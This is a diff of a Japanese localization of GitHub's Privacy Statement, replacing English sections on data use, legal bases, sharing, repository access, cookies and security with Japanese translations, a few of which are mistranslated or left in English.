+- 当社は、お客様が希望する場合、お客様のアカウントプロフィールに記入するため、および、他のユーザとそのプロフィールを共有するために、お客様の[プロフィール情報](#profile-information)を利用します。
+- 当社は、お客様のメールアドレスをお客様にご連絡するために利用します。お客様がOKといった場合、**そして、OKといった理由に限ります**。 詳細は、[emailコミュニケーション](#how-we-communicate-with-you)を参照してください。
+- 当社は、サポートリクエストに回答するためにユーザ個別情報を利用します。
+- 当社は、ユーザ個人情報およびその他のデータを、お客様がフォローまたはコントリビュートしたいと思う可能性のあるプロジェクトの提案など、お客様へのおススメを行うために利用します。 当社は、お客様のコーディングの関心を判断し、類似プロジェクトを推奨するために、Starを付けたプロジェクトなどお客様のGitHub上の公開行動から学習します。 これらのおススメは自動的な判断ですが、お客様の権利への法的影響は一切ありません。
+- 当社は、お客様の同意が必要な場合はその同意を得たうえで、アンケート、ベータプログラムまたはその他のリサーチプロジェクトにお客様を勧誘するために、ユーザ個人情報を利用します。
+- 当社は、当社ユーザのGitHub利用方法をより理解し、当社のウェブサイトやサービスを改善するために、[利用情報](#usage-information)および[デバイス情報](#device-information)を利用します。
+- 当社は、セキュリティ目的や、GitHubまたはユーザを攻撃する詐欺または試みを調査するために、お客様のユーザ個人情報を利用することがあります。
+- 当社は、当社の法的義務の遵守、当社の知的財産権の保護および[利用規約](/github/site-policy/github-terms-of-service)実施のために、ユーザ個人情報を利用することがあります。
+- 当社は、ユーザ個人情報の利用を、このプライバシーステートメントに記載した目的に限るものとします。 当社が他の目的のためにお客様のユーザ個人情報を利用する必要がある場合、先立ってお客様の許可を求めるものとします。 お客様は、[ユーザプロフィール](https://github.com/settings/admin)で、当社が保有する情報、当社の利用方法およびお客様が当社に与えた許可を閲覧できます。
 
-### Our legal bases for processing information
+### 情報処理における根拠法令
 
-To the extent that our processing of your User Personal Information is subject to certain international laws (including, but not limited to, the European Union's General Data Protection Regulation (GDPR)), GitHub is required to notify you about the legal basis on which we process User Personal Information. GitHub processes User Personal Information on the following legal bases:
+お客様のユーザ個人情報の処理が、一定の国際法(EUのGDPRを含むがこれに限らない) の対象である範囲において、GitHubはユーザ個人情報を処理する根拠法令についてお客様の通知が要求されています。 GitHubは、次の法的プロセスにおいてユーザ個人情報を処理します。
 
-- Contract Performance:
-  * When you create a GitHub Account, you provide your [Registration Information](#registration-information). We require this information for you to enter into the Terms of Service agreement with us, and we process that information on the basis of performing that contract. We also process your username and email address on other legal bases, as described below.
-  * If you have a paid Account with us, we collect and process additional [Payment Information](#payment-information) on the basis of performing that contract.
-  * When you buy or sell an application listed on our Marketplace or, when you send or receive funds through the GitHub Sponsors Program, we process [Payment Information](#payment-information) and additional elements in order to perform the contract that applies to those services.
-- Consent:
-  * We rely on your consent to use your User Personal Information under the following circumstances: when you fill out the information in your [user profile](https://github.com/settings/admin); when you decide to participate in a GitHub training, research project, beta program, or survey; and for marketing purposes, where applicable. All of this User Personal Information is entirely optional, and you have the ability to access, modify, and delete it at any time. While you are not able to delete your email address entirely, you can make it private. You may withdraw your consent at any time.
-- Legitimate Interests:
-  * Generally, the remainder of the processing of User Personal Information we perform is necessary for the purposes of our legitimate interest, for example, for legal compliance purposes, security purposes, or to maintain ongoing confidentiality, integrity, availability, and resilience of GitHub’s systems, Website, and Service.
-- If you would like to request deletion of data we process on the basis of consent or if you object to our processing of personal information, please use our [Privacy contact form](https://support.github.com/contact/privacy).
+- 契約の履行
+  * お客様がGitHubアカウントを作成する場合、お客様は[登録情報](#registration-information)を提供します。 当社は、この情報をお客様が当社との利用規約を締結するために要求します。当社は、この情報を契約を履行する用途に利用します。 当社は、さらに、お客様のユーザ名およびメールアドレスを他の法的根拠にもとづき利用します。
+  * お客様が当社に有料アカウントを保有している場合、当社は、契約を履行する用途のために、追加で[支払い情報](#payment-information)を収集し処理します。
+  * お客様がMarketplaceに掲載されたアプリケーションを売買する場合、または、GitHub Sponsors Programを通じて金銭の授受を行う場合、当社は、これらのサービスに適用される契約を履行するために、[支払い情報](#payment-information)および追加情報を処理します。
+- 同意
+  * 当社は、次の状況において、お客様のユーザ個人情報を利用することにお客様の同意を必要としています。 ・[ユーザプロファイル](https://github.com/settings/admin)に情報を記入した時 ・GitHubトレーニング、リサーチプロジェクト、ベータプログラムまたは調査に参加すると決めた時 ・マーケティングを目的とする時（該当する場合） このユーザ個人情報のすべては選択的なものであり、お客様は、随時、これにアクセス、修正および削除することができます。 お客様はメールアドレスを完全に削除することはできませんが、非公開にすることはできます。 お客様は随時、同意を撤回することができます。
+- 追加要求事項
+  * 一般的に、当社が行うユーザ個人情報の処理のリマインダーは、追加要求事項を目的とするものです。たとえば、法令遵守、セキュリティおよびGitHubのシステム、ウェブサイトおよびサービスの現在の秘密、統合性、利用可能性およびレジリエンスを保持することを目的としています。
+- 同意に基づき当社が処理するデータの削除をご希望の場合、または、当社による個人情報の処理に同意できない場合は[プライバシー連絡フォーム](https://support.github.com/contact/privacy)をご利用ください。
 
-## How we share the information we collect
+## 当社が収集したお客様の情報の共有方法
 
-We may share your User Personal Information with third parties under one of the following circumstances:
+当社は以下に記載された状況でお客様のユーザ個人情報を第三者に提供する場合があります。
 
-### With your consent
-We share your User Personal Information, if you consent, after letting you know what information will be shared, with whom, and why. For example, if you purchase an application listed on our Marketplace, we share your username to allow the application Developer to provide you with services. Additionally, you may direct us through your actions on GitHub to share your User Personal Information. For example, if you join an Organization, you indicate your willingness to provide the owner of the Organization with the ability to view your activity in the Organization’s access log.
+### お客様の同意を得た場合
+当社は、当社がどの情報を誰とどのような理由で共有するのかお知らせした後にお客様が同意した場合に、ユーザ個人情報を共有します。 たとえば、Marketplaceに掲載されているアプリケーションをお客様が購入した場合、当社は、アプリケーション開発者がサービスをお客様に提供できるようにするためにユーザ名を共有します。 さらに、お客様は、ユーザ個人情報を共有することについてGitHub上でのアクションを通じて当社に指示することもできます。 たとえば、お客様がOrganizationに参加する場合、OrganizationのオーナーにOrganizationのアクセスログを使ってお客様のアクティビティを表示する権限を付与したい旨を指示できます。
 
-### With service providers
-We share User Personal Information with a limited number of service providers who process it on our behalf to provide or improve our Service, and who have agreed to privacy restrictions similar to the ones in our Privacy Statement by signing data protection agreements or making similar commitments. Our service providers perform payment processing, customer support ticketing, network data transmission, security, and other similar services. While GitHub processes all User Personal Information in the United States, our service providers may process data outside of the United States or the European Union. If you would like to know who our service providers are, please see our page on [Subprocessors](/github/site-policy/github-subprocessors-and-cookies).
+### サービスプロバイダーに提供する場合
+当社は、ユーザ個人情報を限定数のサービスプロバイダと共有します。当該情報を処理するサービスプロバイダは、データ保護契約または類似の約束に署名することで、当社のプライバシーステートメントに類似するプライバシー制限に同意し、当社に代わって当社のサービスを提供または改善します。 当社のサービスプロバイダは、支払い処理、カスタマーサポートのチケット発行、ネットワークデータの移行、セキュリティおよびその他の類似サービスを履行します。 GitHubは、ユーザ個人情報のすべてを米国で処理しますが、当社のサービスプロバイダは、米国またはEU以外でデータを処理することがあります。 当社のサービスプロバイダを知りたい場合、当社ページ[GitHubのサブプロセッサ](/github/site-policy/github-subprocessors-and-cookies)を参照してください。
 
-### For security purposes
-If you are a member of an Organization, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) associated with that Organization with an owner and/or administrator of the Organization, to the extent that such information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+### セキュリティを目的とする場合
+お客様がOrganizationのメンバーである場合、GitHubは、OrganizationのオーナーまたはOrganizationの管理者に紐づいている、お客様のユーザ名、[ユーザー情報](#usage-information)および[デバイス情報](#device-information)を共有する場合があります。提供された情報は、特定のOrganizationにおけるセキュリティに影響を与えるか、セキュリティを侵害するようなセキュリティインシデントの調査または対応を行うためにのみ用いられます。
 
-### For legal disclosure
-GitHub strives for transparency in complying with legal process and legal obligations. Unless prevented from doing so by law or court order, or in rare, exigent circumstances, we make a reasonable effort to notify users of any legally compelled or required disclosure of their information. GitHub may disclose User Personal Information or other information we collect about you to law enforcement if required in response to a valid subpoena, court order, search warrant, a similar government order, or when we believe in good faith that disclosure is necessary to comply with our legal obligations, to protect our property or rights, or those of third parties or the public at large.
+### 法令にもとづく開示を求められた場合
+GitHubは、法的手続きおよび法的義務を遵守するために透明性を保つ努力をしています。 法令または裁判所の命令によりその努力が妨げられない限り、または、稀なケースには緊急事態が発生しない限り、当社は、法令が要求するお客様の情報の開示について、お客様に通知するために合理的な努力を行います。 GitHubは、有効な召喚令状、裁判所の命令、捜索令状、類似の政府命令が要求する場合、または、当社の法的義務の遵守するため、または、当社、第三者もしくは一般社会の財産もしくは権利を保護するために開示することが必要だと当社が誠意をもって信ずる場合、当社が収集したお客様のユーザ個人情報またはその他の情報を、法執行措置に対して開示します。
 
-For more information about our disclosure in response to legal requests, see our [Guidelines for Legal Requests of User Data](/github/site-policy/guidelines-for-legal-requests-of-user-data).
+法的な要求に対する当社の情報開示についての詳細は、[ユーザデータに対する法的要求についてのガイドライン](/github/site-policy/guidelines-for-legal-requests-of-user-data)を参照してください。
 
-### Change in control or sale
-We may share User Personal Information if we are involved in a merger, sale, or acquisition of corporate entities or business units. If any such change of ownership happens, we will ensure that it is under terms that preserve the confidentiality of User Personal Information, and we will notify you on our Website or by email before any transfer of your User Personal Information. The organization receiving any User Personal Information will have to honor any promises we made in our Privacy Statement or Terms of Service.
+### 管理者の変更または売却があった場合
+当社は、企業法人または事業部門の吸収、売却または合併に関与した場合、ユーザ個人情報を共有することがあります。 所有権の変更が発生した場合、当社は、ユーザ個人情報の秘密性を保持する条項にもとづいてこれが行われることを確実にし、かつ、当社はお客様のユーザ個人情報を移行する前に、ウェブサイトまたはemailにてお客様に通知します。 ユーザ個人情報を受け取るOrganizationは、当社がプライバシーステートメントまたは利用規約で行った約束を尊重する必要があります。
 
-### Aggregate, non-personally identifying information
-We share certain aggregated, non-personally identifying information with others about how our users, collectively, use GitHub, or how our users respond to our other offerings, such as our conferences or events.
+### 集合的で個人的でない識別情報
+当社は、ユーザが、集合的に、GitHubをどのように利用するか、または、カンファレンスやイベントなどの当社のその他の提供に対してユーザがどのように反応するかに関する、特定の集合的で個人的でない識別情報を他者と共有します。
 
-We **do not** sell your User Personal Information for monetary or other consideration.
+当社がお客様の個人情報を金銭または他の対価のために売却**することはありません**。
 
-Please note: The California Consumer Privacy Act of 2018 (“CCPA”) requires businesses to state in their privacy policy whether or not they disclose personal information in exchange for monetary or other valuable consideration. While CCPA only covers California residents, we voluntarily extend its core rights for people to control their data to _all_ of our users, not just those who live in California. You can learn more about the CCPA and how we comply with it [here](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
+備考：2018年カリフォルニア州消費者プライバシー法（「CCPA」）では、事業体が自らのプライバシーポリシーにおいて、お客様の個人情報を金銭または他の対価と交換で、個人情報を公開するかどうかを記述することを要求しています。 CCPAはカリフォルニア州民のみを対象としていますが、当社は自主的に、人々が自らのデータを管理するこの中核的な権利を、カリフォルニア州の住民の当社ユーザだけでなく当社ユーザ_全員_に拡大しています。 CCPAおよび当社の遵守についての詳細は[こちら](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act)を参照してください。
 
-## Repository contents
+## リポジトリコンテンツ
 
-### Access to private repositories
+### プライベートリポジトリへのアクセス
 
-If your repository is private, you control the access to your Content. If you include User Personal Information or Sensitive Personal Information, that information may only be accessible to GitHub in accordance with this Privacy Statement. GitHub personnel [do not access private repository content](/github/site-policy/github-terms-of-service#e-private-repositories) except for
-- security purposes
-- to assist the repository owner with a support matter
-- to maintain the integrity of the Service
-- to comply with our legal obligations
-- if we have reason to believe the contents are in violation of the law, or
-- with your consent.
+リポジトリがプライベートである場合、あなたのコンテンツへのアクセスを管理するのはあなた自信です。 お客様の個人情報やセンシティブな個人情報が含まれる場合、その情報は本プライバシーポリシーに従い、GitHubのみがアクセスできます。 GitHubのスタッフは、以下の場合を除いて[プライベートリポジトリのコンテンツにアクセスしません](/github/site-policy/github-terms-of-service#e-private-repositories)。
+- セキュリティ上の目的
+- リポジトリのオーナーをサポートするため
+- サービスの完全性を維持するため
+- 当社の法的義務を遵守するため
+- コンテンツが法律違反であると当社が信じる理由がある場合
+- お客様の同意を得た場合.
 
-However, while we do not generally search for content in your repositories, we may scan our servers and content to detect certain tokens or security signatures, known active malware, known vulnerabilities in dependencies, or other content known to violate our Terms of Service, such as violent extremist or terrorist content or child exploitation imagery, based on algorithmic fingerprinting techniques (collectively, "automated scanning"). Our Terms of Service provides more details on [private repositories](/github/site-policy/github-terms-of-service#e-private-repositories).
+通常、当社はリポジトリのコンテンツを検索することはありません。ただし、当社はサーバーやコンテンツをスキャンし、特定のトークンやセキュリティ署名、既知のアクティブなマルウェア、依存関係における既知の脆弱性、その他当社の利用規約に違反することが既知であるコンテンツ (暴力的な過激主義やテロリストのコンテンツ、自動搾取の画像など) を、アルゴリズム的フィンガープリント技術 (「自動スキャン」と総称) を用いて検出することがあります。 当社の利用規約では、[プライベートリポジトリ](/github/site-policy/github-terms-of-service#e-private-repositories)について詳述しています。
 
-Please note, you may choose to disable certain access to your private repositories that is enabled by default as part of providing you with the Service (for example, automated scanning needed to enable Dependency Graph and Dependabot alerts).
+なお、サービスを提供する一環としてデフォルトで有効にされている、プライベートリポジトリへの特定のアクセス (依存関係グラフやDependabotアラートを有効にするために必要な自動スキャンなど) を無効にすることもできます。
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub は、[法令にもとづく開示を求められた場合](/github/site-policy/github-privacy-statement#for-legal-disclosure)、当社の法的義務を順守するために必要な場合、その他法的要件により拘束されている場合、 自動スキャンの場合、またはセキュリティの脅威やその他セキュリティへのリスクに対処する場合を除き、プライベートリポジトリのコンテンツへの当社によるアクセスについて通知します。
 
-### Public repositories
+### パブリックリポジトリ
 
-If your repository is public, anyone may view its contents. If you include User Personal Information, [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/), or confidential information, such as email addresses or passwords, in your public repository, that information may be indexed by search engines or used by third parties.
+リポジトリが公開されている場合、誰でもそのコンテンツを閲覧できます。 パブリックリポジトリに、メールアドレスやパスワードなど、お客様の個人情報、[センシティブな個人情報](https://gdpr-info.eu/art-9-gdpr/)、または機密情報が含まれる場合、その情報はサーチエンジンによりインデックス化されたり、第三者に利用されたりする可能性があります。
 
-Please see more about [User Personal Information in public repositories](/github/site-policy/github-privacy-statement#public-information-on-github).
+[公開リポジトリのユーザ個人情報](/github/site-policy/github-privacy-statement#public-information-on-github)を参照してください。
 
-## Other important information
+## その他の重要なお知らせ
 
-### Public information on GitHub
+### GitHub上の公開情報
 
-Many of GitHub services and features are public-facing. If your content is public-facing, third parties may access and use it in compliance with our Terms of Service, such as by viewing your profile or repositories or pulling data via our API. We do not sell that content; it is yours. However, we do allow third parties, such as research organizations or archives, to compile public-facing GitHub information. Other third parties, such as data brokers, have been known to scrape GitHub and compile data as well.
+GitHubサービスおよび機能の多くは公開向けです。 お客様のコンテンツが公開向けの場合、第三者が、お客様のプロフィールもしくはリポジトリの閲覧または当社のAPIを介してデータをプルするなど、当社の利用規約にもとづきアクセスかつ利用できます。 当社は、そのコンテンツを販売しません。これはお客様の所有物です。 しかし、当社は、研究機関やアーカイブなどの第三者に対して、公開向けのGitHub情報をコンパイルすることを認めています。 データブローカーなどの他の第三者も、GitHubをスクレイプし、データをコンパイルしていることは知られています。
 
-Your User Personal Information associated with your content could be gathered by third parties in these compilations of GitHub data. If you do not want your User Personal Information to appear in third parties’ compilations of GitHub data, please do not make your User Personal Information publicly available and be sure to [configure your email address to be private in your user profile](https://github.com/settings/emails) and in your [git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). We currently set Users' email address to private by default, but legacy GitHub Users may need to update their settings.
+お客様のコンテンツに関係するユーザ個人情報はGitHubデータのコンパイルによって第三者が収集する場合があります。 お客様が第三者によるGitHubデータのコンパイルにユーザ個人情報が含まれることを望まない場合、ユーザ個人情報を公開しないようにしてください。そして、[gitコミット設定](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)で、[ユーザプロフィールでメールアドレスを非公開に設定してください](https://github.com/settings/emails)。 当社は現在、デフォルト設定ではユーザのメールアドレスを非公開に設定しています。ただし、レガシーのGitHubユーザは設定をアップデートしなくてはならない場合があります。
 
-If you would like to compile GitHub data, you must comply with our Terms of Service regarding [information usage](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) and [privacy](/github/site-policy/github-acceptable-use-policies#7-privacy), and you may only use any public-facing User Personal Information you gather for the purpose for which our user authorized it. For example, where a GitHub user has made an email address public-facing for the purpose of identification and attribution, do not use that email address for the purposes of sending unsolicited emails to users or selling User Personal Information, such as to recruiters, headhunters, and job boards, or for commercial advertising. We expect you to reasonably secure any User Personal Information you have gathered from GitHub, and to respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or GitHub users.
+GitHubデータをコンパイルしたい場合、お客様は、[情報利用](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions)および[プライバシー](/github/site-policy/github-acceptable-use-policies#7-privacy)に関する当社の利用規約を遵守しなければなりません。またお客様は、収集した公開向けユーザ個人情報を、当社のユーザが許可した目的に限り利用できるものとします。 たとえば、GitHubユーザが自らの身分と所属を明らかにする目的でメールアドレスを公開している場合、そのメールアドレスをユーザへの未承諾メール送信や、採用担当者、ヘッドハンター、および求人掲示板への販売、または商業広告などの目的で使用してはなりません。 当社は、お客様が、GitHubから収集したあらゆるユーザ個人情報を合理的に保護すること、ならびに、 GitHubまたは他のユーザからの苦情、削除要請および連絡拒否のリクエストに速やかに対応することを要求します。
 
-Similarly, projects on GitHub may include publicly available User Personal Information collected as part of the collaborative process. If you have a complaint about any User Personal Information on GitHub, please see our section on [resolving complaints](/github/site-policy/github-privacy-statement#resolving-complaints).
+これに類して、GitHub上のプロジェクトは、コラボレーティブ処理の一部として収集した公開されている利用可能なユーザ個人情報を含むことがあります。 GitHub上のユーザ個人情報について苦情がある</a>場合、[苦情の解決](/github/site-policy/github-privacy-statement#resolving-complaints)を参照してください。
 
 
-### Organizations
+### Organization
 
-You may indicate, through your actions on GitHub, that you are willing to share your User Personal Information. If you collaborate on or become a member of an Organization, then its Account owners may receive your User Personal Information. When you accept an invitation to an Organization, you will be notified of the types of information owners may be able to see (for more information, see [About Organization Membership](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). If you accept an invitation to an Organization with a [verified domain](/organizations/managing-organization-settings/verifying-your-organizations-domain), then the owners of that Organization will be able to see your full email address(es) within that Organization's verified domain(s).
+さらに、お客様は、GitHub上でのアクションを通じて、ユーザ個人情報を共有するために指示することができます。 Organizationでコラボレートしている場合またはそのOrganizationのメンバーとなったの場合、そのアカウントオーナーはお客様のユーザ個人情報を受け取ることができます。 Organizationへの招待を承認した場合、オーナーが閲覧できる情報の種類についてお客様に通知されます。（詳細は、[Organizationメンバーシップについて](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)を参照してください） [認証ドメイン](/organizations/managing-organization-settings/verifying-your-organizations-domain)付きOrganizationへの招待を承認した場合、Organizationのオーナーは、Organizationの認証ドメイン内でお客様の完全なメールアドレスを閲覧できます。
 
-Please note, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) with the owner(s) of the Organization you are a member of, to the extent that your User Personal Information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+GitHubは、お客様のユーザ名、[利用情報](#usage-information)および[デバイス情報](#device-information)を、お客様がメンバーとなっているOrganizationのオーナーと共有することがありますが、ユーザ個人情報の提供は、個別のOrganizationに影響を及ぼすまたは障害を与えるインシデントを調査またはこれに対応するための範囲に限るものとします。
 
-If you collaborate on or become a member of an Account that has agreed to the [Corporate Terms of Service](/github/site-policy/github-corporate-terms-of-service) and a Data Protection Addendum (DPA) to this Privacy Statement, then that DPA governs in the event of any conflicts between this Privacy Statement and the DPA with respect to your activity in the Account.
+お客様が、このプライバシーステートメントに対する[企業向け利用規約](/github/site-policy/github-corporate-terms-of-service)およびData Protection Addendum (DPA) について同意しているアカウントでコラボレートしている場合またはそのメンバーの場合、アカウントでのお客様のアクティビティに関係するこのプライバシーステートメントとDPAの間に矛盾があった場合、DPAを優先するものとします。
 
-Please contact the Account owners for more information about how they might process your User Personal Information in their Organization and the ways for you to access, update, alter, or delete the User Personal Information stored in the Account.
+Organizationでお客様のユーザ個人情報を処理する方法およびお客様がアカウントでユーザ個人情報にアクセス、アップデート、変更または削除する方法についての詳細情報はアカウントオーナーにご連絡ください。
 
-## Additional services
+## 追加サービス
 
-### Third party applications
+### サードパーティアプリケーション
 
-You have the option of enabling or adding third-party applications, known as "Developer Products," to your Account. These Developer Products are not necessary for your use of GitHub. We will share your User Personal Information with third parties when you ask us to, such as by purchasing a Developer Product from the Marketplace; however, you are responsible for your use of the third-party Developer Product and for the amount of User Personal Information you choose to share with it. You can check our [API documentation](/rest/reference/users) to see what information is provided when you authenticate into a Developer Product using your GitHub profile.
+お客様は、アカウントで「Developer Products」として知られるサードパーティアプリケーションを有効化または追加することを選択できます。 このDeveloper Productsは、お客様がGitHubを利用するにあたって、必ずしも必要なものではありません。 当社は、MarketplaceからDeveloper Productを購入する場合などお客様の要望があったとき、ユーザ個人情報を第三者と共有します。しかし、第三者のDeveloper Productの利用およびユーザ個人情報を共有する量の選択については、お客様がその責を負うものとします。 お客様のGitHubプロフィールを利用してDeveloper Productに認証した場合、どの情報が提供されるのか[API documentation](/rest/reference/users)で確認できます。
 
 ### GitHub Pages
 
-If you create a GitHub Pages website, it is your responsibility to post a privacy statement that accurately describes how you collect, use, and share personal information and other visitor information, and how you comply with applicable data privacy laws, rules, and regulations. Please note that GitHub may collect User Personal Information from visitors to your GitHub Pages website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the Website and the Service.
+GitHub Pagesウェブサイトを作成する場合、お客様は、個人情報およびその他の訪問者の情報の収集、利用および共有方法ならびに適用されるデータプライバシー法令、規則および規定の遵守方法を正確に記述するプライバシーステートメントを掲載する責任を負うものとします。 GitHubは、法的義務を遵守するためならびにウェブサイトおよびサービスのセキュリティおよび統合性を保持するために、お客様のGitHub Pagesウェブサイトへの訪問者から、IPアドレスを含むユーザ個人情報を収集することがあります。
 
-### GitHub applications
+### GitHubアプリケーション
 
-You can also add applications from GitHub, such as our Desktop app, our Atom application, or other application and account features, to your Account. These applications each have their own terms and may collect different kinds of User Personal Information; however, all GitHub applications are subject to this Privacy Statement, and we collect the amount of User Personal Information necessary, and use it only for the purpose for which you have given it to us.
+お客様は、GitHubのデスクトップアプリケーション、Atomアプリケーション、その他のアプリケーション類およびアカウント機能をご自分のアカウントに追加することができます。 これらのアプリケーションは、それぞれ固有の規約を有しており、異なる種類のユーザ個人情報を収集する可能性があります。ただし、すべてのGitHubアプリケーションに対してこのプライバシーについての声明が適用されます。当社はユーザ個人情報を必要な分だけ収集し、お客様の提供目的に限って利用するものとします。
 
-## How you can access and control the information we collect
+## 当社が収集した情報についてお客様がアクセスし管理する方法
 
 If you're already a GitHub user, you may access, update, alter, or delete your basic user profile information by [editing your user profile](https://github.com/settings/profile) or contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy). You can control the information we collect about you by limiting what information is in your profile, by keeping your information current, or by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
 
 If GitHub processes information about you, such as information [GitHub receives from third parties](#information-we-collect-from-third-parties), and you do not have an account, then you may, subject to applicable law, access, update, alter, delete, or object to the processing of your personal information by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
 
-### Data portability
+### データポータビリティ
 
-As a GitHub User, you can always take your data with you. You can [clone your repositories to your desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), for example, or you can use our [Data Portability tools](https://developer.github.com/changes/2018-05-24-user-migration-api/) to download information we have about you.
+GitHubユーザとして、お客様は、常に自らのデータを保有することができます。 たとえば、[お客様のリポジトリをデスクトップにクローン](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)できます。または、当社が保有するお客様の情報をダウンロードするために、当社の[データポータビリティツール](https://developer.github.com/changes/2018-05-24-user-migration-api/)を利用できます。
 
-### Data retention and deletion of data
+### データの保持とデータの削除
 
-Generally, GitHub retains User Personal Information for as long as your account is active or as needed to provide you services.
+GitHubは、一般的に、ユーザ個人情報をアカウントがアクティブである限りまたはサービス提供に必要な限り保持します。
 
-If you would like to cancel your account or delete your User Personal Information, you may do so in your [user profile](https://github.com/settings/admin). We retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile (within reason) within 90 days of your request. You may contact [GitHub Support](https://support.github.com/contact?tags=docs-policy) to request the erasure of the data we process on the basis of consent within 30 days.
+お客様がアカウントをキャンセルしたい場合またはユーザ個人情報を削除したい場合、お客様の[ユーザプロフィール](https://github.com/settings/admin)で行うことができます。 当社は、法的義務の遵守、紛争解決および当社の契約を実行するためにお客様の情報を保持かつ利用します。法的な要求がある場合を除き、お客様の要望から90日以内に、合理的な範囲でお客様のすべてのプロフィールを削除します。 You may contact [GitHub Support](https://support.github.com/contact?tags=docs-policy) to request the erasure of the data we process on the basis of consent within 30 days.
 
-After an account has been deleted, certain data, such as contributions to other Users' repositories and comments in others' issues, will remain. However, we will delete or de-identify your User Personal Information, including your username and email address, from the author field of issues, pull requests, and comments by associating them with a [ghost user](https://github.com/ghost).
+アカウントが削除された後でも、他のユーザのリポジトリへのコントリビューションおよび他のIssueのコメントなどの一定のデータは残存します。 しかし、当社は、[ゴーストユーザ](https://github.com/ghost)と関係付けることで、Issue、pull requestおよびコメントの作者フィールドからユーザ名およびメールアドレスを含むユーザ個人情報を削除または識別不能にします。
 
-That said, the email address you have supplied [via your Git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) will always be associated with your commits in the Git system. If you choose to make your email address private, you should also update your Git commit settings. We are unable to change or delete data in the Git commit history — the Git software is designed to maintain a record — but we do enable you to control what information you put in that record.
+つまり、[Gitコミット設定](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)を通じてお客様が提供したメールアドレスは、Gitシステムのコミットで常に関係付けられることになります。 メールアドレスを非公開にする場合、Gitコミット設定もアップデートする必要があります。 当社は、Gitコミット履歴のデータを変更または削除することはできません。Gitソフトウェアは記録を保持する設計になっています。ただし、当社は、お客様がその記録に入力する情報を管理できるようにします。
 
-## Our use of cookies and tracking
+## 当社のクッキー及びトラッキングの使用について
 
-### Cookies
+### クッキー
 
-GitHub only uses strictly necessary cookies. Cookies are small text files that websites often store on computer hard drives or mobile devices of visitors.
+GitHub が使用するのは、不可欠なクッキーのみです。 Cookie は、ウェブサイトが訪問者のコンピュータまたはモバイルデバイスに度々格納する小さなテキストファイルです。
 
-We use cookies solely to provide, secure, and improve our service. For example, we use them to keep you logged in, remember your preferences, identify your device for security purposes, analyze your use of our service, compile statistical reports, and provide information for future development of GitHub. We use our own cookies for analytics purposes, but do not use any third-party analytics service providers.
+当社は、サービスの提供、保護、向上の目的においてのみクッキーを使用します。 たとえば、当社はログインを維持し、お客様の環境設定を記憶し、セキュリティ上の目的でデバイスを特定し、サービスの利用状況を分析し、統計レポートを作成し、GitHubの今後の開発のための情報を提供するためクッキーを使用します。 当社は、分析のため当社のクッキーを使用しますが、サードパーティの分析サービスプロバイダーは使用しません。
 
-By using our service, you agree that we can place these types of cookies on your computer or device. If you disable your browser or device’s ability to accept these cookies, you will not be able to log in or use our service.
+当社のサービスを利用することで、お客様は、お客様のコンピュータまたはデバイスにこれらの種類のクッキーを当社が保管することに同意したものとされます。 これらのクッキーをブラウザやデバイスで拒否するよう設定した場合、当社のサービスにログインしたりサービスを利用したりすることができなくなります。
 
-We provide more information about [cookies on GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) on our [GitHub Subprocessors and Cookies](/github/site-policy/github-subprocessors-and-cookies) page that describes the cookies we set, the needs we have for those cookies, and the expiration of such cookies.
+[GitHub上のクッキー](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github)については、[GitHubの当社のサブプロセッサーおよびクッキー](/github/site-policy/github-subprocessors-and-cookies)のページで、当社が設定するクッキー、クッキーの必要性、およびクッキーの有効期限について詳しく説明しています。
 
 ### DNT
 
-"[Do Not Track](https://www.eff.org/issues/do-not-track)" (DNT) is a privacy preference you can set in your browser if you do not want online services to collect and share certain kinds of information about your online activity from third party tracking services. GitHub responds to browser DNT signals and follows the [W3C standard for responding to DNT signals](https://www.w3.org/TR/tracking-dnt/). If you would like to set your browser to signal that you would not like to be tracked, please check your browser's documentation for how to enable that signal. There are also good applications that block online tracking, such as [Privacy Badger](https://privacybadger.org/).
+「[Do Not Track](https://www.eff.org/issues/do-not-track)」(DNT) とは、オンラインサービスに対して、第三者のトラッキングサービスからお客様のオンライン活動についての特定の種類の情報を収集して共有することを望まない場合に、ブラウザで設定できるプライバシー設定です。 GitHubは、ブラウザのDNTシグナルに応答し、[DNTシグナルへの応答についてのW3C基準](https://www.w3.org/TR/tracking-dnt/)に従います。 トラッキングを望まないことを通知するようブラウザに対して設定したい場合、この通知を有効化する方法について、ブラウザのドキュメントをご確認ください。 [Privacy Badger](https://privacybadger.org/)など、トラッキングをブロックする良いアプリケーションもあります。
 
-## How GitHub secures your information
+## お客様情報についての当社の保護方法
 
-GitHub takes all measures reasonably necessary to protect User Personal Information from unauthorized access, alteration, or destruction; maintain data accuracy; and help ensure the appropriate use of User Personal Information.
+GitHubは、不正アクセス、変更および破壊からユーザ個人情報を保護するため、そして、データの正確性を保持しユーザ個人情報が適切に利用されることを確実にするために必要なすべての措置を講じます。
 
